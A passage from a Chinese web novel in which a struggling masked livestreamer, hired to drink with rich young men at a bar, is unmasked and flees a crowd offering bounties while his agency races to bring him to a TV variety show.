于是,崔老板就这么一边眼馋心热的不停刷着网页上各种消息,一边老老实实坐等香蕉台解约的电话。
#桑醒,综艺#(爆)
#戚傲直播综艺#(爆)
#野火,直播综艺真假?#(爆)
“叮铃铃——”
不出意料,办公桌上的电话铃声响了。
叹了口气的崔老板,强打起精神接通了电话。
“哪位?”
“是,这里是鑫晨直播公司,是,签约的是我们旗下的主播。”
“......”
“没关系,我们能理解,那就只能期待和贵台下一次......你,你说什么?”
原本满心只有如何卖人情的崔老板,忽然“蹭”的一下从椅子上站了起来。
听着崔老板的动静,电话那头电视台的工作人员顿了顿,随后十分官方的道:“请贵公司放心。”
“我们电视台十分重视契约精神,也从来没有无故毁约的经历。”
“今天打电话来,是想请贵公司的主播方便的话,能明天一早到电视台来一趟,提前熟悉一下综艺的直播流程......”
泼天富贵!
泼天流量!
泼天热度!
电话那头的声音在崔老板脑子里已经自动变成了加粗的三个感叹号。
“......崔先生,您在听吗?”
“啊,是,是,在,在,我在听。”回过神,两只手拿着听筒的崔老板弯着腰,连连的点头。
“好,一定,一定,您放心。”
“嗯,好,再见。”
电话挂了。
可握着听筒的崔老板,愣是在原地又站了好半天。
直到扇了自己一巴掌觉出疼,揉了揉脸的崔老板丢下听筒,马不停蹄,急不可耐的冲到了三楼。
“嘭——!”
刚推开办公室的门,崔老板就嚷嚷道:“野火呢,野火人在哪呢?”
“......thenumberyoudialedisbusy,pleasetrylater。”
张诚忙挂断了闹心的电话,随后忙不迭的解释道:“老板,野火不在公司,我这还在联系,刚刚他还......”
崔老板显然没心情听张诚在这扯理由。
他直接打断张诚的话,雷厉风行的吩咐道:“走,去公寓找他!”
“老板,老板。”
张诚拦住了转身就要走的崔老板。
“野火这小子现在不住公寓。”
“他,他看不上咱们公寓的环境,住了几个月,自己又跑去外面找了个地方......”
鑫晨娱乐直播公司搞了个公寓楼,专门以高价出租给旗下主播。
打着离公司近,家具水电俱全,没有奇葩房东扯皮,拎包就能入住,还能赊前三个月的房租等
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等旗号宣传,选择租住公寓的主播不少。
听野火如今没在公寓住,崔老板也没多说什么,只点点头。
“好,那咱们现在去他住的地方。”
“张诚,你开车。”
张诚......张诚没动。
因着老早就想把野火这个成事不足败事有余的小王八蛋踢出去,张诚压根就不关心人住哪,连更改住址后填改信息的流程都省略了。
看张诚支支吾吾,迈不开腿的死出,崔老板就清楚了。
他深吸了一口气,再次点点头。
“行,我知道了,刚进公司的时候,他们不是都留了紧急联系人的号码吗?”
“打那个吧。”
“老板......那个号码刚刚张哥就让我打了。”
阿奇举着手机,吞吞吐吐的道:“野火哥留的那个紧急联系人号码,就,就是个空号。”
好好好,好好好。
一个“孤家寡人”野火哥,一个办事放心“张诚心”。
有这对“卧龙凤雏”,何愁大事不成的崔老板都笑了。
他摘下眼镜,一边擦,一边看向神色慌张的张诚,语气平静的甚至堪称诡异。
“也就是说,现在除非野火主动联系公司,否则咱们谁都找不到他,是吧?”
张诚下意识点点头,又赶紧摇摇头。
“老板,我们会赶紧联系他的,他还有个综艺,对,现在网上这么大的热度,他到时候肯定......”
“到时候?!”
“到时候就什么都晚了!!!”
“你踏马的,踏马的,踏马的就连吃!屎!都!赶!不!上!热!的!!!”
想想和公司合约马上就要到期的野火。
触发关键词,完成终极“变身”的崔老板,面目狰狞的咆哮了起来。
“你个**的王八蛋!”
“你就是这么办事让我放心的?啊?!!!”
“你知不知道,知不知道这次的机会有多难得?!”
“你八辈子都再碰不上这样的好时候!”
“都滚去给我去找人!!!”
“张诚,你今天要是给我找不到人,就永远都别回来!自己收拾收拾东西滚蛋!!!”
......
9. 第 9 章
已经连续几日“白日治病,夜里修仙”的宋枝月,终归是没有达到“羽化而登仙,餐风饮露”的境界......说人话,宋枝月被饿醒了。
小卧房内的窗户被灰蓝的窗帘遮的严严实实,睡得四肢发软的宋枝月闭着眼,伸手在枕头边摸着手机,结果左右摸了一圈却愣是没找到。
他暴躁的揉着头发从床上坐起,赤脚下床开了灯,围着床转了一圈,就看到了“躺”在地上,“死不瞑目”的爱机。
“凸(艹皿艹)!”
“啊啊啊啊!”
睡眼惺忪的宋枝月一下就清醒了。
他‘嗷’的一声惨叫,扑过去捧着屏幕变成“蜘蛛网”的手机。
之前睡得糊里糊涂的宋枝月,哪还记得张诚睡梦里的那通电话?
这会儿他的心都要随着手机的破屏一起裂开了,血气直往脑袋上涌,又饿又气间,两眼一翻险些晕过去。
脑袋发晕,手脚发软的宋枝月顾不上悼念手机了,他扶着床,哆哆嗦嗦的从一边的柜子里扒拉出了一把巧克力。
抓起几块,连包装纸都没怎么撕干净就匆忙塞进嘴里。
一连吃了两把,宋枝月眼前发黑的症状才有所缓解。
“他大爷的!”
“流年不利,尽走背运!”
“还没挣两个子呢,到处都要花钱......”
稍稍缓过劲儿,咬牙切齿间嘀嘀咕咕的宋枝月去了客厅烧水。
很快,一桶方便面就泡好了。
配着几块钱一瓶的维生素,五分钟不到,连汤带面吃的干干净净。
宋枝月戴好口罩,戴上卫衣的帽子,揣着手机出门了。
这年头,修手机的地方一点都不难找,没大一会儿功夫,宋枝月就找了个店进去。
“老板,修一下手机。”
手机店的小老板拿起放在柜台上的破手机看了看,对眼前裹得严实的宋枝月道:“帅哥,换屏三百。”
“而且你这机子的型号稍微有点年头了,得从仓库里找找配件。”
“这要修好的话,最快也得到明天早上了。”
看宋枝月有些犹豫,小老板也很干脆:“帅哥,你这单生意,我也就赚个房租辛苦钱。”
“现在的手机说贵,那是真有价钱好的。”
“说便宜也有挺便宜的。”
“其实有修手机花的这钱,你再添点换个其他便宜些的手机都行。”
“要不,你看看这些?”说着,小老板就麻溜抽出摆着一堆杂牌手机的柜台。
“这里头都是小几千的,便宜但也好用呢。”
“这个,这个只要1688。”
“还有那个,只要1288,你要现在买,还能抽个奖,再送个耳机和手机壳。”
面对热情推销的老板,宋枝月摇摇头。
“麻烦老板修一修这个手机,我明天早上来取。”
“行,那我给您开个条。”
推销失败小老板也不气馁,刷刷填了个单撕下递给宋枝月。
“您拿着这修理单,明天早上过去取手机就行。”
宋枝月伸手取过这单据,“麻烦您了。”
“您甭客气,应该的。”
小老板应着客套话,低着头随手将手机收进一旁的待检盒。
推门出来的宋枝月,握着条的手揣进了兜里,摩挲着攥紧了全身上下仅有的一点零钱——四十二块。
和现代大多数年轻人一样,宋枝月的钱都在手机的支付软件上,薅着几分几毛的利息。
当然,要说有什么不同,可能就是宋枝月账户上1127.88的余额会显得他穷酸的格外不同。
踩着路灯的宋枝月身形被拉的格外瘦长,直到走到一个熟悉的酒吧门前——“月色”。
“穷鬼”宋枝月自然没钱来借酒消愁。
H世的文娱产业发达,类似宋枝月这类从事直播行业的人也不少。
除了宋枝月这种“见光死的帅哥”,不少人却是真的年轻漂亮,加上作息不规律,昼夜颠倒,偶然运气好了,吃着流量来钱快......
不直播的时候还想赚点钱,酒吧显然就是一个好去处。
除了全职,酒吧里若是有个什么活动或是主题,也会额外请一些年轻漂亮,或者会整活的人来帮忙暖场。
这一场下来300—500报酬不等,偶尔还有个酒水推销的提成,也算赚个快钱。
因着之前宋枝月的五官分开单看,真的很能打,他就给自己弄了个走氛围系列的特色“覆面帅哥”。
别说,这种“半露不露”给人留下想象空间的帅哥,有时候比露出全脸的所谓帅哥更有吸引力,再有灯光一打,音乐一响,三分姿色也变七分。
宋枝月不直播的时候,就化名“小野”跑这种场子,还是有点名气的“路子野,酒量野,喝的野”。
旁的人喝酒挣几个钱过日子,宋枝月拿命喝酒换钱。
场子里有时难缠的酒场,就是让他给硬生生喝过去的......所以宋枝月很受酒吧老板的欢迎,有需要的时候都会打电话叫他。
进了“月色”,宋枝月就熟门熟路奔着经理的办公室去了。
“陈哥。”
陈经理的脸色这会儿却不大好看。
他朝宋枝月摆摆手,嘴上还在不停的对着对讲机说话。
“老板都在上头亲自陪着呢,我拜托你们,能不能长点心?!”
“能不能?!”
“......都说了果盘让换个镶金边的蓝瓷,怎么还用的粉的?”
“你踏马的长两眼睛是用来出气的?”
“其他会喘气的都赶紧给我滚过来,这都换了三波了还不能让那两位大少满意,你们都是干什么吃的?”
“......”
“少废话,赶紧让小王再领着人上去!”
“......”
不想一来就撞上陈经理“不讲嘴德”将底下的人骂个狗血喷头的场面。
宋枝月也识趣的没进屋。
他随手掩上门,插着裤兜,靠在墙上等陈经理忙完这阵。
这个点正是热闹的时候,底下换碟了,一阵劲爆的音乐声传来,宋枝月目光下移,静静的看着一楼舞池里热舞的男男女女。
五光十色的灯球不停的闪着光,漂亮的面孔,年轻的□□在这里随意游走,放肆的发泄着精力,......灯红酒绿,醉生梦死,纸醉金迷在这一刻都像是具象化了。
宋枝月是个很会煞风景的小王八蛋,特别是他穷的叮当响,又在花了一大笔钱却确诊自己得了“精神病”后,那是“神经一念起,顿觉天地宽”。
他现在不光是在线下刻薄阴郁,真实世界里也有些癫癫的劲儿。
就像现在,在这红男绿女的酒吧,听着耳边“动次——打次——”节奏欢快的音乐,他没有随着音乐摆动身子就算了,反倒嘀嘀咕咕念叨起了不知道哪一年看过的新闻了。
“......允许一部分人、一部分地区先富起来,推动解放和发展社会生产
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......”
念着,念着,宋枝月仇富的尖酸,压都压不住——也不知道多富才算富,才愿意带动其他人一起富.....当然,重点是带动一下渴望暴富渴望的有些想发疯的宋枝月。
“经理,经理,经理!”
小王急匆匆过来,都没得及和宋枝月打个招呼,就推开门冲了进去。
“都不行,都没一个看上的......”小王急的嘴皮子发干,“老板说让你赶紧想想办法。”
“这一时半会儿的,我能想什么办法?”
陈经理脸色红红白白的难看,他拧着眉来回在屋里走了一圈,还没走第二圈,苦着脸的小马也带了一圈的人来。
“经理,老板在上头催的紧......”
“别催了,我这不是正想辙呢?”
急的直冒汗的陈经理咬咬牙,最后决定搞些“歪门邪道”。
“这样,想办法弄些有些特点,会整活的人来。”
“那帮公子哥什么花样没见过,这就是来寻开心的。”
“甭管哪个路数的,能把人哄高兴就行。”
这话一出,一堆人马上又跑出去行动了,陈经理擦着汗跟在最后出门。
门旁边杵着一个大活人也挺有存在感,陈经理下意识偏头看了一眼——
戴着黑色卫衣帽,零碎的头发掩在额前,戴着黑口罩,连衣服都是黑的,偏露出的地方透着雪清似的冷白。
五彩的灯光偶尔一束照过来,恍然有种浓烈到惊心动魄的恍惚......
正愤世嫉俗发神经的宋枝月偏头,就见陈经理站在那看他。
宋枝月收敛了一下自己仇富的丑恶嘴脸,笑了笑打了个招呼。
“经理你忙完了。”
“小,小野?”
看了眼神情颇有些惊讶的陈经理,宋枝月下意识摸了摸脸上的口罩,戴的好好的,他还是那个打扮啊,这么一惊一乍的做什么?
“是我,经理。”
暗暗腹诽几句的宋枝月点点头,“经理,我今天来,是之前......”
“小野!”
陈经理压根就没顾上听宋枝月说什么,他眼冒金光,一把拉住了宋枝月的胳膊。
“我记得你酒量很好是不是?”
到底记着自己脑袋上的伤才将将养了一个星期,宋枝月摇摇头。
“经理,我今天不是来喝酒的,我就是......”
“小野,你也知道你陈哥不轻易开口求人,这也是实在没法子了。”
“你今晚帮帮忙,先帮帮忙对付一下。”
面露难色的宋枝月摇了摇头,随后认真解释道:“陈哥,我也不是不想你的帮忙,主要是我之前让楼下掉下的花盆......”
“两千!”
看宋枝月摇头,陈哥急急的喊了一声,“小野,陈哥不让你白帮忙。”
“陈哥,我这不是......”
“三千!不,四千!”
“五千!”
看着宋枝月动摇了,斩钉截铁报了价的陈哥趁热打铁:“小野,我也不瞒你,今晚的客人确实难缠,你帮忙就是五千的辛苦费,今晚喝的酒,还有其他乱七八糟的提成你拿一半!”
“陈哥,我的面具还在不在柜子里?”
“喝酒哪有不用嘴的?我马上换。”
这回是宋枝月抓着陈哥的手,生怕他反悔或是跑了。
“走走,走走,赶紧走,别让客人等久了。”
......
10. 第 10 章(修)
“月色”酒吧的规模不算小,整个楼一共有八层,里头可供乘坐的电梯也有两部,一部是寻常客人和侍应生乘坐的电梯,还有一部是专供八层的VIP客户插卡专用。
陈经理自然是带着人乘坐的普通电梯。
说实话,这座酒吧六层以上的楼层宋枝月压根就没能上来过。
今夜里被病急乱投医的陈经理鬼迷心窍一样匆匆带来,宋枝月甚至还有点紧张。
电梯里前后左右都是一张张年轻又漂亮的面孔,男男女女都有,宋枝月有些局促的悄悄的扯着自己刚换好的衬衫袖口。
“叮——”八层到了。
刚从电梯踏出就能闻到淡淡的高级香气,脚底也是软绵绵的触感,一路还有顶灯映在墙壁两侧的画和鲜花上。
看着不像是酒吧,倒像是到了哪个高级酒店。
到这会儿,陈经理嘴上的还在喋喋不休的嘱咐。
“眼睛都放亮点,要是惹得这些公子哥不高兴,你们就自觉点滚出去,该打螺丝打螺丝,该送外卖送外卖。”
包厢外,既打过螺丝又送过外卖的宋枝月笑不出来了。
就是这种,都不用这些“高高在上”的人自己开口,其他人就捧着,吹着。
自然的仿佛大家压根就不是同一个物种一般的臭味。
有钱人就是这个德行!
一杆子打翻一船人的宋枝月心里嗖嗖的泛酸水,使劲压下自己仇富的尖酸刻薄嘴脸。
黑色的包厢门打开了,陈经理躬身笑着先进去,他赔着笑说了些好听话,才让宋枝月他们进来。
里头是个宽敞又豪华的套房,连地毯踩上去都更舒服,桌上琳琅的摆满各色水果拼盘,冰桶里插着酒瓶,还有侍应生双手捧着酒瓶跪在桌前倒酒。
桌子后面是五个来寻乐子的公子哥,不管是外套还是腕表,甚至是头发丝都透着富贵气。
但很明显,他们又都似有似无的捧着最中间的高少爷。
高少爷很年轻,棱角分明的硬朗,但生了双下三白眼,看过来的时候总透着点阴鸷。
沙发上的人也打量着新进来的一批人,别说,在一堆光鲜亮丽的漂亮面孔中忽然混着个带了面具的人,可不就挺显眼。
又听其他人不是会唱歌就是会跳舞,甚至还有会唱昆曲和口技的,就宋枝月混在里头啥才艺没有,憋出一句“能喝”,可不得叫人起了捉弄的心思?
在一片笑声里,几个模样实在漂亮的舞者留下活跃气氛,“酒桶”宋枝月和“口技姐”连同“昆曲哥”一块留了下来表演绝活。
很快,“口技姐”就开始给“昆曲哥”伴奏......你还别说,这组合听起来搭配的是挺奇葩,但这两人一个节奏感强,一个声音清亮,搭配起来意外的还真不怎么难听。
“嘭——!”
歌声里,两个酒瓶从冰桶里抽出来放在桌上。
宋枝月也识趣的走了过去,想也知道这些公子哥给他让位置是不可能的,宋枝月大咧咧的直接跪在桌前,屁股顺势往腿上一坐。
他拿起酒瓶,还挺礼貌的问:“哥,我喝了?”
“诶,这么干喝有什么意思?”坐在边上的周公子笑嘻嘻的拦住了宋枝月。
他昂着下巴冲
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着桌上摆了一排的酒杯点了点。
“瞧见了么,这有十八个杯子,正好也有十八种酒。”
“咱们包厢里的人玩几把,你可以下注赌输赢也可以自己来。”
“十八次,输一次混一种酒。”
“嘿,也别说欺负你,你可以输一次喝一次,也可以一次混完了最后喝。”
说完,周公子玩味的看着宋枝月。
“玩吗?”
宋枝月下意识瞄了一眼酒桶。
红的,白的,啤的,中文的,洋文的,乱七八糟的一堆。
钱是王八蛋,宋枝月这个要钱不要命的小王八也最喜欢赚它......他大爷的,这次真不好赚啊。
这十八种酒要真混完喝了,宋枝月十有八九也能去十八层地狱了。
但看着面前几个明显来个点兴致的公子哥,宋枝月也知道自踏进这个门,压根就没有他拒绝的份。
见宋枝月干脆的点头,周公子笑嘻嘻的翘起了大拇指。
“好,敞亮!”
很快,左手边的游戏桌上就摆满了各种东西,像什么俄罗斯转盘、小飞镖扎盘,扑克牌、骰子......
这玩法是周公子提出来的,他自然是第一个开场。
第一把,作为开胃菜也没上什么难度,就他和宋枝月,两个人玩的最简单的骰子赌大小。
站在游戏桌前,宋枝月不由自主的将手在裤子上蹭了蹭,随后他慢慢伸手,握住了桌上冰凉的骰盅。
“哗啦,哗啦——”
骰子响了,游戏也开始了。
......
11. 第 11 章
“哗啦——”
“哗啦——”
“哗啦......”
“嘭——!”
一同举起来摇了几次,宋枝月和周公子手里的骰盅,一前一后按在了桌子上。
周公子的手按在骰盅上,带着点漫不经心的笑意,吊儿郎当的看着宋枝月。
“我选的玩法,大小你选,赌大还是赌小?”
大,还是小?
宋枝月看着不远处酒桌上折射出点点星芒的十八个水晶酒杯,又低头看了看手下的骰盅,他舔了舔唇,“大!”
看周公子没动,宋枝月一鼓作气揭开了自己上骰盅——都不用他自己开口,旁边凑热闹的已经喊出了点数,“二、四、五。”
“嘿嘿嘿,加起来就11点,就这点数还赌大,要不要再搬上来几箱酒?”
见周公子摇摇头笑着拿开手却一直没掀开盖子,其他人霎时又开始起哄催促。
“周老二,这他娘的又不是入洞房,你磨磨蹭蹭的干什么呢?”
“诶,你小子不是号称赌神吗?”
“是啊,周老二你行不行啊你?”
说话间,有性急的已经掀开了周公子的骰子盅——
“嚯,三个一。”
“周老二,你不行啊,啧啧啧,这输的屁股都露出来了。”
“滚你*的,王瞎子。”周公子抓着桌上的扑克牌笑骂着砸了过去。
“你才露屁股呢,上次在岑楼的泳池派对里最辣眼睛的就是你!”
王瞎子没瞎,还戴了副金丝边的眼镜,袖子挽在了手肘处,不说话的时候,很有种衣冠楚楚的人模狗样。
他偏头躲过扑克牌的袭击,随后一本正经的拉了拉衣袖,走过去站在了宋枝月的对面,斯斯文文的笑道。
“咱们两个来一把?”
宋枝月自然不会拒绝。
他看向王砷,也不废话,“哥,玩什么?”
“某人显摆不成,露屁股喽。”王砷笑着推了推眼镜,伸手勾过一旁的俄罗斯转盘。
“咱们两就纯试试运气。”
体面人王公子点了点转盘上的黑白色块,很有绅士风度的让宋枝月先选。
“黑还是白?”
赌运气也没什么必要犹豫,宋枝月直接选道:“白。”
王公子笑着点点头。
“好,黑我喝,白你喝。”
话音刚落,他手指就动了。
“嗖——”转盘飞快的转了起来。
所有人的目光瞬间都落在了转盘上。
随着指针的速度越来越慢,宋枝月不知不觉也握紧了拳。
“黑!”快停的时候,周公子先喊了一声,其他人跟着添乱,笑声里全是统一的口号。
“黑!”
“黑!黑!”
好么,不知道的还以为宋枝月和这些公子哥才是一伙的呢。
眼看指针即将迈过黑块就要指向白块时,忽然停住不动了。
“哈哈哈,黑!”
“王瞎子,让你小子在这装,喝吧你。”
一旁看热闹不嫌事大的郑三公子,已经麻溜的抽出了两瓶酒。
“SingleMaltScotchWhisky和RareCask选哪个?”
“随便。”王公子摘下眼镜,揉了揉眉心摇头叹道:“交友不慎啊。”
见郑晖已经开始往杯子里倒酒了,王砷看向周公子,“周老二,你也输了,还好意思干看,不来陪一个?”
“就知道你小子没安好心。”周公子笑着起身,自己挑了瓶酒倒在杯子里,同王砷碰了个杯。
看着桌上的十八个杯子瞬间就少了两个,宋枝月松了口气。
他悄悄的在裤子上蹭了蹭手,心里念叨着:花钱消灾,古人诚不欺我。
别说,从砸了脑袋开始一直走背运的宋枝月,也算触底反弹,时来运转了。
游戏一直玩了七把,靠运气的事,他愣是一局都没输。
有周公子和王砷打样,其他人输了自然也喝了酒。
死活不信邪的崔啸,和宋枝月一连玩了三把“翻花牌”。
把把都输,把把都喝,喝得他脸都红了。
扔下杯子的崔啸用肩膀推了推周公子。
“诶,我说,你这是让他喝啊,还是耍着我们玩呢。”
周公子抱胸看着宋枝月,依旧还是笑嘻嘻的模样,“上了桌就愿赌服输啊。”
“不服气你就干他一把啊。”
原本是拿宋枝月当乐子的游戏,偏偏玩到现在,眼看桌上的杯子一个个少了,宋枝月却滴酒没沾......连一旁唱歌活跃气氛的声音都下意识小了。
刚开始不用喝酒的宋枝月也挺高兴,但现在他有点笑不出来了。
虽然说是凭运气的游戏,愿赌服输,但谁能保证这群心高气傲的少爷不会一时上头“撕破”他的脸?
隔着屏幕的宋枝月敢硬钢“千军万马”还“死战不退”,那是因为他确定网友们没成精,更不会顺着网线过来干他。
但现在面对面的真实......宋枝月怂了,他从游戏桌退开了,选择让别人玩,自己下注。
能混到这包厢里来的人,除了被拉过来喝酒凑数的宋枝月,其他都是人精,看眼色的本事自然也是一等一,连续四把,宋枝月选谁谁输。
为着少爷们的面子,宋枝月也没含糊,举杯就饮,一连四杯,喝的他脑门上的伤口都隐隐作痛。
喝了四杯,少爷们面子上应该......过得去了吧?
宋枝月晃了晃脑袋,又站在游戏桌前,显然第十二把游戏,他又选择自己来。
一直旁观的高少爷走了过来,其他人纷纷给他让开位置。
屋内奢华的水晶吊灯发出柔和的光线,还有从橙红转为暧昧紫粉的氛围灯,这光影像是块嵌在宋枝月周身的光幕,走马观花的闪过。
花足心思为陪酒赚钱的宋枝月,脸上戴着的面具都是为凸显他单个的五官优势,专门做的。
银色的面具本身搭配红色花纹,周围一圈不仅贴着亮闪闪的水钻,甚至还有一根略显骚包的白色羽毛。
华丽的浮夸,却又意外的合适。
而让宋枝月气到破防的“娘炮”冷白皮也是真的靓。
他换了身喝酒专用的“战袍”白衬衫,一沾酒,整个人就艳的很,柿红的薄唇上因着连续几杯酒显得湿润润的。
这会儿他的袖子也挽了起来,两只手臂撑在游戏桌上,上头鼓出的细细青筋很是醒目,又有点意料之外的......色气。
“哥......”也不知道瓶子上一堆洋文的都是些什么酒,喝得有点上头的宋枝月,努力倒腾着舌头,“还玩什么?”
“玩了这么久都不知道你是个什么模样,多少有点不合适吧。”高公子微微昂着下巴冲着他点了点。
!!!
宋枝月一瞬间酒就醒了大半。
网络信息化时代,什么摄像头和视频拍摄简直无控不在。
而这些有钱人是个什么缺德玩意儿,谁不知道?
要是拍了什么视频捉弄他,或者拍下他醉酒的丑态取乐......这要搁以前宋枝月还能勉强答应。
但现在不行!绝对不行!!!
他已经签综艺节目的合约了,要是上节目之前曝光了就要赔钱,赔一大笔钱!
让宋枝月赔一大笔钱和直接要了他的命有什么区别?!!!
“哥,哥。”
宋枝月下意识捂着面具,微微弯着腰陪着笑。
“我这个人打小就长得丑,眉毛眼睛鼻子嘴哪都长得不合适,挺倒人胃口的......这就,就不露脸了。”
说着,宋枝月还想去摸桌上的酒杯,“哥,我自罚三杯。”
“摘了。”
见高曜的话说了第二遍,宋枝月还捂着那个破面具没动,一旁的郑公子笑着一把揽过他的肩膀。
“你这就没意思了啊。”
“出来玩么,开心最重要。”
“哄哄你高哥,他一高兴,你整容的钱不就都有了?”
“到时候我给你介绍医院,保证是全国最好的整容医院,你想长成什么样,咱们就整成什么样。”
宋枝月才不信这些有钱人嘴里放的屁。
这话说的好听,但整容落下后遗症的事,即便在直播的这个圈子里,他也见得多了去了。
甚至整容不是一锤子买卖,后期还得不停的花大价钱维持保养。
要一直不停的花那么多冤枉钱,你还不如直接割宋枝月肉来的痛
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快呢。
“哥,我这,真不......”
几杯酒喝成大舌头的宋枝月还低声下气的努力解释呢,一旁突然伸出一只手,抓着他的头发,一把拽下面具。
“你小子又不是个娘们,谁看了你什么样还要娶你不成?”
“要我说,你他......妈妈的......”
近距离和宋枝月骤然打了个照面,崔啸整个人愣在当场,他嘴里叼着的烟掉了都没发现。
而崔啸自动消音后,整个包厢里除了音响声,再没有其他响动。
钱!钱!!钱!!!
赔钱!赔钱!!赔钱!!!
脑子空白一瞬的宋枝月,反应过来后,整个脑子里就只剩下这几个血红的感叹号了。
就知道这些缺德冒烟的王八蛋一点没安好心!!!
现在要干什么?
是不是要拍照,是不是要发网上?
视频标题是什么?
#惊!嘴臭直播博主野火酒吧陪酒!#
自己穷疯了,就以为全世界都死盯着他那两个钱的宋枝月,眼睛都有点红了。
“嘭——!”
他毫不犹豫的撞开了身边的人,朝着大门飞奔了过去。
“站住!”
连退了几步的崔啸喊了一声,却见宋枝月理都不理撞开人就跑。
这会儿“神经病”发作的宋枝月,仿佛回到了他在网上直播的时候。
眼神要刀人似的亮晃晃的扎人。
整个人从里到外都透着“野”,热烈带劲儿。
屋子的人有大多喝了点酒,宋枝月这不管不顾透着点凶劲儿,横冲直撞的猛然一跑,就像导火索似的,让人情绪“嘭!”的炸开了。
“抓住他!!!”
不知道谁喊了一嗓子,“哄”的一下,其他人就和捕猎似的朝着宋枝月扑了过去。
宋枝月一把推开堵门的“昆曲哥”,“嗖”的窜了出去。
“站住!”
“抓住他!”
跑的,追的,一时间原本还安静的走廊上顿时热闹了起来。
电梯,电梯不行,宋枝月直接从楼梯上往下跑,后面的人穷追不舍,一路上,还有其他听着动静出来看热闹的客人和侍应生。
不得不说,眼前的这个“追逃”游戏看起来刺激极了。
尤其在前头慌不择路跑的是,宋枝月。
追求刺激,永远是人的天性,更何况是一群喝了酒,有钱又有闲,平白无故都恨不能闹出点什么事来满足自己感官的乐子人。
跑了两层,“猎人”的队伍愈发壮大了。
宋枝月身后追着的人不仅莫名其妙的多了起来,期间还夹杂着口哨声和呜呜的兴奋嚎声。
“谁先抓住他,我给他三万块!”
“五万!”
“我给十万!”
挤在人堆里的崔啸那个气啊,他玛德还有神经病跟他竞价!!!
宋枝月是从上往下跑的。
电梯被堵了他就跑楼梯,楼梯有人把着门,他就往消防通道里钻。
“人呢?”
“他去四楼了,四楼!”
“他妈的别挤我!”
“滚开!”
整个“月色”今晚上都热闹了起来,甚至有因为堵楼梯位置推搡着打起来的人。
第三层是个环形,可以更好的看二楼的舞池。
宋枝月从环形的这头往那一头跑,一时间楼上往楼下看的,楼下往楼上看。
酒吧里打碟的和灯光师也是个“鬼才”,他们齐心协力用劲爆的音乐和一束显眼的“探照灯”让宋枝月变成人群里最“靓”的崽。
不仅有人一脸兴奋的围观,还有看着宋枝月啊啊啊尖叫着的,还有给他加油的,甚至还有拍照的,一看摄像头,宋枝月的手比脑子都快,从兜里翻出了口罩给自己戴上。
等听到消息的陈经理从办公室慌慌张张的跑出来,眼见整座酒吧都“沸腾”了起来,他甚至还有些没反应过来。
“人呢!”
“往哪跑了?”
“二楼,二楼都是喝了酒还跳舞的,他挤进去看不清了。”
“守住一楼的门。”
“走,去一楼等他!”
......
12. 第 12 章
今晚“月色”酒吧这个追着人往死里撵的阵仗,宋枝月曾经以为会是在他被“真实人肉”出来后,被那些脑残粉追着砍着上演。
但这一天,以宋枝月万万没想到的方式,提前到来了。
若是换做之前,宋枝月是绝对不敢从那个豪的让人呼吸都下意识会放轻的包厢里跑路的。
也不知道是哪个王八蛋说出的那句,“赚钱么,不寒碜。”
这六个字,就好像让人心安理得的弯腰下跪,越跪越低。
没错,经常念叨这六个字的小王八蛋宋枝月,以往十成十会痛哭流涕的朝着少爷们下跪道歉。
但当宋枝月宁愿相信自己得了神经病,都不敢相信自己当真变成镜子里的模样时,他的世界就有些癫了。
小陈医生说的委婉,但听在宋枝月的耳朵里却很直白——他其实是躲躲藏藏,遮遮掩掩的,活的见不得光似的已经有些......变态了。
“神经病”不发疯,还叫什么“神经病?”
那就是正常人了!
吃的那点酒劲儿化作了带着点疯狂的冲劲儿,宋枝月什么也听不清,什么也看不清,像一阵自由风的一样,放肆在这纸醉金迷的灯光辉煌中穿过。
酒吧的前门,后门,电梯上,楼梯间,包括绿色逃生通道......上上下下都被堵的严严实实,但拦不住“风”一样的宋枝月。
他从前没资格上楼,但在下三楼打转的时候可不少。
毕竟喝多了得去厕所催吐的时候,你要能找着地方。
“嘭——!”
就在整个酒吧陷入一片堪称狂热的高潮喧嚣声中时,宋枝月已经麻溜的从二楼的厕所后窗翻了出去,落地后就地打了滚,爬起来就火烧屁股似的跑了。
一提钱就自动恢复听觉的宋枝月,刚刚已经听见里头在疯狂喊他的“悬赏”了。
这帮有钱烧的慌的“骚包”东西,那还不是几十几百的喊,而是几万、几万和竞拍似的欼欼疯狂往上跳。
说真的,宋枝月都有种回头去领钱的冲动了,当然他也只敢咬着牙,心头泛酸的想想罢了。
毕竟如这般公子哥们最爱面子,刚刚又都喝了酒。
这要是被当众“架”起来,那是真敢朝着他下死手的。
吹着夜风,翻过小巷的宋枝月,心里的小算盘“噼里啪啦”打的很响——只要不在今晚被当场逮住,那就没问题。
当然,保险起见,他这几月就不来酒吧“赶场子”了,老实躲些日子正好去上综艺节目。
等过了这么长时间,这帮公子哥还能记得他是谁?
肯定就把他当个屁一样的放了。
屁臭一阵也就完了,谁会一直记着臭味?
“野火!!!!”
听着这熟悉的声音,想的挺美的宋枝月吓得一个激灵。
他猛地停住脚步,就见来的是......张诚哥?!
宋枝月揉了揉眼睛。
他这是喝酒喝的产生幻觉了?还是病情已经恶化到这地步了?
而撕心裂肺喊着‘野火’的张诚,朝着宋枝月跑过去的时候,堪称面目狰狞——
从接到崔老板“辞职吃屎去吧”的最后通牒,张诚就一边不停的继续拨打电话,一边在整个公司发疯似的问起宋枝月。
还是一起和宋枝月拼过车的人大概说了个街道,还有和一起“赶酒场”的人,说起他酒吧赚钱的事......
瞧瞧,一个公司里连一个知道宋枝月住哪的朋友都没有。
宋枝月得活的多失败啊。
张诚一边大骂着宋枝月死在屋里都没人知道,一边将林林总总的线索汇集起来。
后来实在没办法,就将小组里所有的人都派出去,在街道可能的小区挨个找着问。
他自己开着车,一路来回就在宋枝月从前去的酒吧附近蹲守。
知名度最高的“月色”酒吧,就是张哥的重点找寻地段。
“野火!”
这是真人!不是幻觉,他的病情没加重!
“张诚哥!!!”
激动不已的两人都情不自禁的冲着对方狂奔去,嗯......这也算得上双向奔赴了。
宋枝月张来双臂,就想要给张诚来一个暖心抱抱,结果被张诚一把扯住胳膊,拖着就往车里带。
“快走,快走!要没时间了!”
???
一脸懵逼的宋枝月被推搡着塞进车里。
摔上车门,跑进驾驶位,安全带一系,方向盘一握,张诚一脚油门踩了下去。
车窗大开,风“呼呼——”的刮进车里。
宋枝月为做直播造型留的头发,“嗖嗖”直往脸上扎。
他伸手去关车窗,“呸呸”吐着头发时嘴也没闲着,“张哥,我们这是去哪啊?”
“你的那档综艺节目,通知你明天早上九点到电视台!”
就像崔老板说的,人这一辈子能赶上几个堪称改命的好机会?
他们这种忽然被“紫微星”砸中的小虾米,够不够资格对电视台说——哦,我们有事不去,要不推迟时间?
